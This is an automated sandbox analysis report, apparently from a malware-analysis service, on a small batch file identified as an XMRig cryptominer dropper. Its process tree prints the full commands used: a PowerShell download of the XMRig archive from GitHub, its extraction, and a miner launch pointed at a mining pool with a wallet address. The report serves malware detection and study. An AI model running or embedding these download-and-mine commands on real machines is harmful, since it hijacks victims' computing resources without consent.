Analysis

  • max time kernel
    1786s
  • max time network
    1785s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 03:11

General

  • Target

    tesy - Copy (8).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 50 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4236
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:96
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4272
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2728

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    82632f16eb74e40e8f0c089c565ff7b4

    SHA1

    fa456b478f5af6b1307adf78173200261a59407c

    SHA256

    dfd42c106b63f3c9b71c63534478894846ca91754317a3f8bb8e1a787ce5bf35

    SHA512

    c8b97356c6e14261cc2261c918b750e319a8f9aaea826adcf038589feb437eee53b80731db07f9f8c95d3116b310e4ac4ceab1fa5ef197f6a91286f15f01c408

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3lxqtv01.y0i.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    33KB

    MD5

    7774231f290859b7cc45c8970ef03b18

    SHA1

    1774611c5a997cd30d44a7d9107a0192ad2f31e1

    SHA256

    5be8f3a3d8fbb5ae228ff429bd498473013b13eb2bf949704ba2a2184bc5c57a

    SHA512

    b2eb6f5c9061f164d89537aecf780216394aa7ba753d7dfa4671155972b2094d9f96cad6b0cfd8ab9d43cde164de326c16a0be49b694d0aaeacf680df31e11e0

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    19KB

    MD5

    3e85f0d5dab0c0de1c41676672ea417d

    SHA1

    d574c0eab8cf6028e9d3ea3f70c5bc76776348c9

    SHA256

    0a2bdbad23398666537cdc03ac946952d7064b7bd2be07173074c881b13ea800

    SHA512

    7c8154ceadf9cfbc2891a9990431e112d0f371c0c03ef8a1da8705f20c05c577afaa7dd530ade392e74b851a7b18a33b94b92cefb5f61864f44fd4174a680fd1

  • memory/96-8-0x000001DAB3410000-0x000001DAB3420000-memory.dmp

    Filesize

    64KB

  • memory/96-6-0x00007FFD48660000-0x00007FFD4904C000-memory.dmp

    Filesize

    9.9MB

  • memory/96-28-0x000001DAB3410000-0x000001DAB3420000-memory.dmp

    Filesize

    64KB

  • memory/96-27-0x000001DAB3410000-0x000001DAB3420000-memory.dmp

    Filesize

    64KB

  • memory/96-26-0x00007FFD48660000-0x00007FFD4904C000-memory.dmp

    Filesize

    9.9MB

  • memory/96-29-0x000001DAB3410000-0x000001DAB3420000-memory.dmp

    Filesize

    64KB

  • memory/96-25-0x000001DAB3410000-0x000001DAB3420000-memory.dmp

    Filesize

    64KB

  • memory/96-34-0x00007FFD48660000-0x00007FFD4904C000-memory.dmp

    Filesize

    9.9MB

  • memory/96-4-0x000001DAB3450000-0x000001DAB3472000-memory.dmp

    Filesize

    136KB

  • memory/96-9-0x000001DAB3410000-0x000001DAB3420000-memory.dmp

    Filesize

    64KB

  • memory/96-10-0x000001DAB3700000-0x000001DAB3776000-memory.dmp

    Filesize

    472KB

  • memory/2728-143-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-150-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-188-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-187-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-186-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-185-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-120-0x000001EA232B0000-0x000001EA232D0000-memory.dmp

    Filesize

    128KB

  • memory/2728-184-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-121-0x000001EA232F0000-0x000001EA23310000-memory.dmp

    Filesize

    128KB

  • memory/2728-122-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-125-0x000001EA23330000-0x000001EA23350000-memory.dmp

    Filesize

    128KB

  • memory/2728-124-0x000001EA23310000-0x000001EA23330000-memory.dmp

    Filesize

    128KB

  • memory/2728-123-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-126-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-127-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-129-0x000001EA23330000-0x000001EA23350000-memory.dmp

    Filesize

    128KB

  • memory/2728-128-0x000001EA23310000-0x000001EA23330000-memory.dmp

    Filesize

    128KB

  • memory/2728-130-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-131-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-132-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-133-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-134-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-135-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-136-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-137-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-138-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-139-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-140-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-141-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-142-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-183-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-144-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-145-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-146-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-147-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-148-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-149-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-182-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-151-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-152-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-153-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-154-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-155-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-156-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-157-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-158-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-159-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-160-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-161-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-162-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-163-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-164-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-165-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-166-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-167-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-168-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-169-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-170-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-171-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-172-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-173-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-174-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-175-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-176-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-177-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-178-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-179-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-180-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/2728-181-0x00007FF685620000-0x00007FF686123000-memory.dmp

    Filesize

    11.0MB

  • memory/4272-67-0x0000013C51EB0000-0x0000013C51EC0000-memory.dmp

    Filesize

    64KB

  • memory/4272-42-0x0000013C51EB0000-0x0000013C51EC0000-memory.dmp

    Filesize

    64KB

  • memory/4272-41-0x0000013C51EB0000-0x0000013C51EC0000-memory.dmp

    Filesize

    64KB

  • memory/4272-117-0x00007FFD48660000-0x00007FFD4904C000-memory.dmp

    Filesize

    9.9MB

  • memory/4272-80-0x0000013C52220000-0x0000013C52232000-memory.dmp

    Filesize

    72KB

  • memory/4272-40-0x00007FFD48660000-0x00007FFD4904C000-memory.dmp

    Filesize

    9.9MB

  • memory/4272-93-0x0000013C52090000-0x0000013C5209A000-memory.dmp

    Filesize

    40KB